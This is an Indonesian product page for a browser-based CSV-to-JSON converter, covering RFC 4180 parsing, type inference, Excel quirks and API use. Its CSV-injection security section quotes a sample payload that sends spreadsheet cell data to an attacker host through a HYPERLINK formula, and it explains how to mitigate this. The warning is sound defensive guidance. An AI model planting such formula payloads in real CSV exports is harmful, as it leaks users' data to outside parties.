Pengonversi CSV ke JSON

Pengonversi CSV ke JSON kami mengurai CSV apa pun yang kompatibel dengan RFC 4180 (koma atau pemisah lain, kolom bertanda kutip, tanda kutip lolos, sel multi-baris) dan menghasilkan larik JSON yang bersih. Baris pertama menjadi kunci objek secara default (dapat dikonfigurasi). Nilai numerik dan boolean diketik secara otomatis (angka tetap angka, benar/salah menjadi boolean, sel kosong menjadi null) — nonaktifkan jika Anda ingin semuanya tetap sebagai string jika konsumen hilir Anda ketat. Bendera validasi menandai baris yang tidak rata, tanda kutip yang tidak ditutup, dan masalah penyandian dengan nomor baris. Semuanya berjalan di browser Anda, sehingga ekspor pelanggan, CSV gaji, dan data tabel sensitif lainnya tidak pernah meninggalkan perangkat Anda. Gunakan untuk impor kumpulan data JavaScript, isi permintaan REST API, file benang MongoDB, atau alat apa pun yang lebih menyukai JSON daripada CSV.

star 4.9
auto_awesome AI
New

CSV ke JSON calculator

info Paste CSV to convert to JSON
0 rows 0 cols 0 B

lightbulb Tips

  • •RFC 4180: quote fields containing , " or newline
  • •Escape embedded quotes by doubling: "" represents one "
  • •First row = headers (object keys) by default
  • •Type inference: 42 → number, true/false → bool, empty → null
  • •Quote ZIP codes ("01234") to keep them as strings

Cara Mengonversi CSV ke JSON dalam 3 Langkah: Tempel, Urai, Salin

content_paste

Tempel CSV

Tempel CSV apa pun — ekspor Excel, cadangan database, atau respons API. Parser menangani pengutipan RFC 4180, akhiran baris CRLF/LF, dan BOM UTF-8 secara otomatis.

tune

Konfigurasikan

Pilih pembatas (koma, titik koma, tab, pipa), aktifkan/nonaktifkan mode baris header, dan pilih inferensi tipe aktif/nonaktif. Default berfungsi untuk sebagian besar ekspor Excel/Google Sheets.

swap_horiz

Konversi

JSON muncul secara instan dengan nilai yang benar tipenya, kunci header, dan indentasi pilihan Anda. Pilih output 2 spasi, 4 spasi, atau diminifikasi.

content_copy

Salin atau Unduh

Klik Salin untuk menyalin ke papan klip atau Unduh untuk menyimpan sebagai file `.json` yang siap digunakan untuk isi permintaan API, kumpulan data JavaScript, atau data awal basis data.

The Formula

Konversi CSV-ke-JSON memproses CSV sesuai RFC 4180: kolom dipisahkan oleh pemisah, kolom dengan tanda kutip ganda dapat berisi pemisah dan baris baru, serta `""` di dalam kolom ber tanda kutip adalah tanda kutip yang lolos (escaped). Baris pertama dianggap sebagai tajuk dan menjadi kunci objek JSON; baris berikutnya menjadi objek. Inferensi tipe opsional mengubah string numerik dan boolean yang jelas menjadi tipe asli JSON. Hasilnya adalah susunan JSON yang siap digunakan dalam bahasa apa pun yang memiliki pengurai JSON.

parse CSV(input, delimiter, quote) → [{header: value, ...}, ...]

lightbulb Variables Explained

  • input Teks CSV mentah (RFC 4180 — dipisahkan koma, string bertanda kutip ganda, akhiran baris CRLF atau LF)
  • parse CSV() Memproses berdasarkan pemisah dengan tetap memperhatikan kolom bertanda kutip, memperluas tanda kutip yang lolos ("" → "), mempertahankan nilai sel
  • delimiter Pemisah kolom — koma (standar), tab, titik koma, atau garis vertikal
  • header row Baris pertama menjadi kunci objek JSON (dapat dialihkan; mati → keluarkan susunan dalam susunan)
  • type inference String angka → angka, true/false → boolean, kosong → null (dapat dialihkan)

tips_and_updates Pro Tips

1

Kutip kolom apa pun yang berisi koma, tanda kutip ganda, atau baris baru — RFC 4180 memerlukan tanda kutip ganda di sekitar sel tersebut

2

Loloskan tanda kutip ganda di dalam kolom bertanda kutip dengan menggandakannya: `"Dia berkata ""hai"""` mewakili nilai `Dia berkata "hai"`

3

Baris pertama diperlakukan sebagai header secara default — nonaktifkan jika CSV Anda tidak memiliki header (keluaran menjadi larik dari larik)

4

Penyimpulan tipe mendeteksi `123`, `4.5`, `true`, `false`, dan sel kosong (→ null). Nonaktifkan jika hilir Anda memerlukan string saja

5

Sel kosong di sumber menjadi `null` di JSON secara default — ubah ke string kosong jika konsumen Anda lebih menyukainya

6

Ekspor CSV Excel sering kali menggunakan akhiran baris CRLF Windows — pengurai menangani CRLF dan LF

7

Perhatikan BOM (tanda urutan byte) di awal file CSV UTF-8 yang diekspor dari Excel — pengurai menghapusnya secara otomatis

8

Untuk file CSV yang sangat besar (50MB+), lebih baik gunakan alat streaming seperti `csvkit`, `jq`, atau `Papa Parse` dengan pembuatan potongan alih-alih konversi di dalam browser

9

String numerik bertanda kutip (`"01234"` untuk kode pos) tetap berupa string di keluaran — penyimpulan tipe hanya mempromosikan nilai yang tidak bertanda kutip

10

Waspadai injeksi CSV: jangan pernah menempelkan CSV dari sumber yang tidak tepercaya secara langsung ke Excel atau Google Sheets tanpa membersihkan karakter `=`, `+`, `-`, `@` terdepan (OWASP)

Konversi file CSV apa pun ke JSON secara instan — tempel, urai, salin. Pengonversi ini menangani pengutipan RFC 4180 (tanda kutip yang lolos melalui `""`), sel multi-baris, akhiran baris CRLF/LF, penghapusan UTF-8 BOM, dan empat pilihan pembatas (koma, titik koma, tab, pipa). Inferensi tipe menaikkan angka dan boolean secara otomatis; matikan untuk output semua string. Semuanya berjalan di browser Anda, sehingga ekspor pelanggan, CSV penggajian, dan data tabular sensitif lainnya tidak pernah meninggalkan perangkat Anda. Di bawah ini: cara kerja pengurai di balik layar, perbedaan CSV vs JSON untuk pengembang, pola konversi untuk Excel/Google Spreadsheet, aturan inferensi tipe, kasus tepi RFC 4180, keamanan injeksi CSV, dan lembar sontekan untuk perjalanan pulang pergi yang aman.

Pengonversi CSV ke JSON Online: Mengurai Lembar Kerja Apa Pun ke JSON Secara Instan

Tempel CSV yang valid — ekspor Excel, unduhan Google Spreadsheet, cadangan database, atau respons API — dan pengonversi akan menghasilkan susunan JSON bersih secara waktu nyata. Baris pertama diperlakukan sebagai tajuk secara default, menjadi kunci objek JSON; baris berikutnya menjadi objek dalam susunan JSON.

Inferensi tipe menaikkan:

  • string numerik yang jelas menjadi angka (42 tetap bilangan bulat, 3.14 tetap desimal)
  • string boolean menjadi boolean (true/false tidak sensitif huruf besar-kecil)
  • sel kosong menjadi null

Matikan perilaku ini jika konsumen hilir Anda ketat mengenai tipe.

Konversi berjalan sepenuhnya di browser Anda menggunakan pengurai RFC 4180 buatan tangan ditambah JSON.stringify asli (per ECMA-404). Output siap ditempel ke file `.json`, dikirim ke REST API, atau digunakan sebagai kumpulan data JavaScript.

Cara Mengonversi CSV ke JSON: Alur Kerja 3 Langkah untuk Pengembang

  • Langkah 1: Tempel CSV Anda ke editor. Pengurai memvalidasi saat Anda mengetik — CSV tidak valid (tanda kutip belum ditutup, baris tidak beraturan, pembatas salah) menampilkan kesalahan persis dengan baris dan kolom.
  • Langkah 2: Konfigurasikan pengurai jika perlu — pilih pembatas (default koma; beralih ke titik koma untuk ekspor Excel UE atau tab untuk file TSV), alihkan mode baris tajuk, dan pilih inferensi tipe.
  • Langkah 3: Output JSON muncul secara langsung di panel kanan. Klik Salin (papan klip) atau Unduh (file `.json`).

Untuk alur kerja terprogram, logika yang sama diekspos melalui endpoint `/api/calculate` — POST CSV ke sana dan terima JSON di isi respons. Keamanan perjalanan pulang pergi berlaku untuk data tabular datar; data bertarAF membutuhkan strategi perataan khusus.

CSV vs JSON: Perbedaan Utama dalam Struktur, Tipe, dan Kasus Penggunaan

CSV (Comma-Separated Values) adalah format tabular datar — setiap baris adalah baris, kolom dipisahkan oleh pembatas. Format ini tidak memiliki tipe asli (setiap sel adalah teks), tidak ada penelusuran (satu tingkat ke dalam, seperti tabel database), dan metadata minimal (baris tajuk opsional). Format ini dapat dibaca secara universal: setiap alat lembar kerja, setiap impor database, setiap alat shell memahami CSV.

JSON (JavaScript Object Notation) adalah format hierarkis dengan tipe eksplisit (string, number, boolean, null), objek dan susunan bersarang, serta kunci penjelas diri per catatan. JSON adalah bahasa perantara API REST/GraphQL, database NoSQL, and file konfigurasi.

Kapan menggunakan yang mana:

  • CSV untuk data tabular massal, pertukaran lembar kerja, penyerapan ETL, dan alur kerja analis.
  • JSON untuk API, konfigurasi, catatan bersarang, dan perpesanan antar-mesin.

Konversikan di antara keduanya pada batas: serap CSV → proses sebagai JSON → ekspor kembali ke CSV jika konsumen lembar kerja membutuhkannya.

Penguraian CSV RFC 4180: Kolom Kutipan, Tanda Kutip Lolos, dan Kasus Tepi

RFC 4180 (2005) adalah standar informasional IETF untuk CSV.

Aturan inti:

  • Catatan dipisahkan oleh CRLF (Windows) atau LF (Unix).
  • Kolom dipisahkan oleh pembatas (koma dalam standar; umumnya bervariasi dalam praktiknya).
  • Kolom yang berisi pembatas, tanda kutip ganda, atau baris baru harus diapit dalam tanda kutip ganda.
  • Di dalam kolom bertanda kutip, tanda kutip ganda literal dilewati dengan menggandakannya (`""` mewakili satu `"`).
  • Baris tajuk opsional muncul sebagai catatan pertama.

Pengurai yang diterapkan di sini menoleransi akhiran baris khusus LF, pembatas titik koma/tab/pipa (alihkan di pengaturan), BOM UTF-8 di awal file (dihapus secara otomatis), dan baris baru penutup di akhir file. Ini menolak kolom bertanda kutip yang belum ditutup dan baris tidak beraturan dengan pesan kesalahan yang jelas.

Inferensi Tipe: Penanganan Angka, Boolean, dan Null dalam CSV ke JSON

Inferensi tipe menaikkan nilai tanpa tanda kutip yang jelas ke tipe asli JSON.

  • Angka: pola digit yang cocok dengan sintaks bilangan bulat atau desimal JSON menjadi angka JSON. `42` → bilangan bulat 42. `3.14` → desimal 3.14. `1e6` → 1000000. `01234` tidak jelas — pengurai angka ketat menolak nol di depan, sehingga tetap menjadi string (yang Anda inginkan untuk kode pos).
  • Boolean: `true` dan `false` (tidak sensitif huruf besar-kecil) menjadi boolean JSON. Catatan: ini adalah konvensi YAML 1.2 / JSON ketat — `yes`/`no`/`on`/`off` tetap sebagai string (perbaikan 'masalah Norwegia').
  • Null: sel kosong (di antara dua pembatas berturut-turut atau di akhir baris) menjadi null JSON.

Jika Anda menonaktifkan inferensi tipe, setiap sel tetap berupa string terlepas dari isinya — berguna saat konsumen hilir Anda (misalnya, alur TypeScript yang ketat) mengharapkan tipe yang seragam.

Mengonversi File CSV Excel ke JSON: Pengkodean, Pembatas, dan Keunikan

Excel adalah produsen CSV yang dominan, dan ekspornya disertai dengan keunikan.

  • Pengkodean: Excel untuk Windows sering kali menyimpan CSV sebagai UTF-8 dengan BOM (pengurai menghapusnya secara otomatis) atau Windows-1252 (Latin-1) untuk versi yang lebih lama. Excel untuk Mac biasanya menyimpan UTF-8 bersih. Jika karakter non-ASCII tampak rusak, simpan ulang file sebagai UTF-8 di aplikasi lembar kerja Anda sebelum menempel.
  • Pembatas: dalam lokal UE (Jerman, Prancis, dll.), Excel menggunakan titik koma karena koma adalah pemisah desimal; ubah pengaturan pembatas sesuai kebutuhan.
  • Akhiran baris: Excel menggunakan CRLF secara default — didukung sepenuhnya.
  • Pengutipan: Excel mengutip sel apa pun yang berisi koma atau tanda kutip ganda; tanda kutip tersemat dilewati melalui `""`.
  • Pemformatan angka: Excel dapat mengekspor `1,234.56` (koma sebagai pemisah ribuan) yang akan diperlakukan oleh pengurai sebagai string kecuali Anda memformat ulang.
  • Kolom tanggal diekspor sebagai string default lokal — biasanya memerlukan pemrosesan pasca untuk dikonversi ke ISO 8601.

Konversi CSV ke JSON untuk REST API dan Impor Database

JSON adalah format permintaan/respons yang dominan untuk REST API, endpoint GraphQL, dan sebagian besar layanan web modern.

Mengonversi CSV ke JSON adalah langkah yang sering dilakukan saat:

  • mengimpor data massal melalui API yang menerima susunan JSON (misalnya, pendaftaran pengguna, penanaman katalog produk, endpoint pembaruan massal);
  • menanam database NoSQL (MongoDB, DynamoDB, Cassandra) yang menyerap JSON secara asli melalui `mongoimport`, `aws dynamodb batch-write-item`, atau yang serupa;
  • memberi makan alur ETL (Airflow, Prefect, dbt) yang memindahkan ekspor CSV melalui transformasi berbasis JSON;
  • mengisi data dummy frontend untuk prototipe komponen React/Vue/Angular.

Setelah konversi, validasi output JSON terhadap skema hilir Anda (Skema JSON, isi permintaan OpenAPI, tipe masukan GraphQL) untuk mendeteksi ketidakcocokan tipe sebelum penerapan.

Konversi CSV ke JSON untuk JavaScript, Node.js, dan Kumpulan Data Frontend

JSON adalah format data asli untuk runtime JavaScript (browser, Node.js, Deno, Bun).

Konversikan CSV ke JSON saat Anda perlu:

  • menyematkan kumpulan data statis dalam komponen React/Vue (`import data from './data.json'`);
  • menanam penyimpanan Redux/Pinia/Zustand dengan status awal;
  • memberi makan pustaka pembuatan grafik (Chart.js, D3, Plotly) yang mengharapkan JSON;
  • membuat prototipe skrip Node.js yang memproses catatan sebelum menulis ke database;
  • membangun endpoint tiruan Express/Fastify yang mengembalikan data sampel.

Output JSON dari pengonversi ini sepenuhnya sesuai dengan ECMA-404 — `JSON.parse()`, isi POST `fetch()`, dan inferensi tipe TypeScript (`type Row = typeof data[0]`) semuanya berfungsi tanpa modifikasi.

Untuk kumpulan data yang sangat besar (10rb+ baris), pertimbangkan streaming dengan Papa Parse alih-alih konversi satu kali.

Keamanan Injeksi CSV: Prefiks Formula dan Sanitasi

Injeksi CSV (juga disebut injeksi formula) adalah kerentanan aplikasi web di mana file CSV yang berisi prefiks formula (`=`, `+`, `-`, `@`) dibuka di Excel atau Google Spreadsheet, dan lembar kerja secara otomatis mengeksekusi formula tersebut.

Penyerang dapat menggunakan ini untuk:

  • mencuri data (`=HYPERLINK("http://attacker.com?"&A1, "click")`),
  • menjalankan perintah arbitrer (sintaks makro Excel lama),
  • atau mengelabui pengguna agar mengunjungi URL berbahaya.

Pengonversi ini hanya-baca (CSV → JSON), sehingga tidak menimbulkan risiko injeksi. Namun jika aplikasi Anda menghasilkan ekspor CSV dari masukan pengguna — bersihkan.

Mitigasi standar: beri prefiks pada sel apa pun yang dimulai dengan `=`, `+`, `-`, `@`, `\t`, `\r`, atau `0x09` dengan satu tanda kutip tunggal (`'=cmd|...`) sebelum menulis ke CSV. OWASP memiliki lembar sontekan Injeksi CSV lengkap yang mencakup semua varian.

Kesalahan Penguraian CSV Umum: Tanda Kutip Belum Ditutup, Baris Tidak Beraturan, dan Pengkodean

Lima kesalahan menyumbang 90% dari kegagalan penguraian CSV.

  • Kolom bertanda kutip belum ditutup — kolom dimulai dengan `"` tetapi tidak pernah memiliki pasangan penutup `"`. Pengurai terus membaca hingga akhir file, lalu mengalami kesalahan. Perbaikan: pastikan setiap tanda kutip pembuka memiliki pasangan penutup.
  • Baris tidak beraturan — beberapa baris memiliki lebih sedikit atau lebih banyak kolom daripada tajuk. Penyebab: baris baru yang tersesat di dalam teks tanpa tanda kutip, pembatas yang hilang atau berlebih. Perbaikan: verifikasi jumlah kolom konsisten.
  • Pembatas salah — file Anda menggunakan titik koma tetapi pengurai diatur ke koma. Ubah pengaturan Pembatas.
  • Gaya lolos salah — menggunakan `\"` (gaya JSON) alih-alih `""` (gaya RFC 4180) di dalam kolom bertanda kutip. Perbaikan: ekspor ulang dari alat sumber dengan pengutipan RFC 4180 yang tepat.
  • Ketidakcocokan pengkodean — karakter non-UTF-8 tampak rusak. Simpan ulang file sumber sebagai UTF-8 (sebagian besar aplikasi lembar kerja menawarkan opsi ini di Simpan Sebagai).

Pesan kesalahan di pengonversi menunjukkan baris dan kolom yang tepat.

Keamanan Perjalanan Pulang Pergi: CSV → JSON → CSV dan Kasus Tepi

Lima pertimbangan perjalanan pulang pergi yang harus diketahui oleh setiap pengembang.

  • Data datar: CSV tabular datar murni → JSON → CSV mempertahankan nilai sel, tipe (modulo promosi tipe jika Anda mengurai ulang JSON), dan urutan kolom.
  • JSON bersarang: tidak dapat melakukan perjalanan pulang pergi melalui CSV tanpa perataan. Pilih strategi: nama kolom notasi titik (`address.city`, `address.zip`), string JSON di dalam sel, atau tingkat pertama saja.
  • Promosi tipe: string numerik dan boolean dipromosikan pada CSV → JSON; jika Anda mengekspor kembali ke CSV, string tersebut dipancarkan sebagai bentuk aslinya. Kode pos (`01234`) memerlukan tanda kutip di CSV sumber agar dapat bertahan.
  • Urutan tajuk: pengonversi mempertahankan urutan kolom sumber. Urutan kunci objek JSON dipertahankan oleh mesin JavaScript modern.
  • Sel kosong: menjadi null di JSON; jika Anda mengekspor kembali, konfigurasikan penulis CSV Anda untuk memancarkan string kosong atau literal `null` seperti aslinya.

Uji dengan perlengkapan non-tijarah sebelum mengandalkan perjalanan pulang pergi dalam alur kerja produksi.

Lembar Sontekan CSV ke JSON: Pemetaan Tipe, Alat, dan Praktik Terbaik

Pemetaan tipe sekilas:

  • Baris tajuk CSV → kunci objek JSON;
  • Baris CSV → objek JSON;
  • Sel CSV (tanpa tanda kutip, numerik) → angka JSON;
  • Sel CSV (tanpa tanda kutip, true/false) → boolean JSON;
  • Sel CSV (kosong) → null JSON;
  • Sel CSV (bertanda kutip atau non-numerik) → string JSON.

Perbandingan alat: pengonversi ini (browser, instan, tanpa instalasi, ketat RFC 4180) vs Papa Parse (pustaka JS, streaming, thread pekerja) vs csvkit (CLI Python, file besar, deteksi dialek) vs `jq -R -c -f csv2json.jq` (shell Unix, terprogram).

Praktik terbaik:

  • Selalu kutip kolom yang tidak jelas (ID numerik, kode pos, string nol di depan) di CSV sumber.
  • Gunakan pengkodean UTF-8 untuk kompatibilitas — simpan ulang file Excel lama sebagai UTF-8.
  • Validasi output JSON terhadap skema hilir Anda (Skema JSON, OpenAPI, tipe TypeScript) — tangkap kesalahan tipe pada batas, bukan dalam produksi.
  • Simpan CSV sebagai sumber kebenaran untuk data tabular dan buat ulang JSON pada waktu pembuatan/impor jika memungkinkan.
  • Untuk file >50MB, beralihlah ke alat streaming (pekerja Papa Parse, alur csvkit) alih-alih konversi dalam browser.
code

Embed this Pengonversi CSV ke JSON on your site

Free for any site. Copy the snippet below and paste into your HTML — no attribution required beyond the built-in credit link.

<iframe src="https://calculators.im/embed/csv-to-json-converter" width="100%" height="720" style="border:0;max-width:100%;" loading="lazy" title="Pengonversi CSV ke JSON by Calculators.im"></iframe>
<p style="font-size:12px;text-align:center;color:#64748b;margin-top:6px;">Powered by <a href="https://calculators.im/csv-to-json-converter?utm_source=embed&utm_medium=snippet&utm_campaign=csv-to-json-converter">Pengonversi CSV ke JSON</a> by Calculators.im</p>
open_in_new Preview embed Auto-resizing iframe. Mobile responsive. Works with WordPress, Ghost, Webflow, and plain HTML.

Frequently Asked Questions

sell

Tags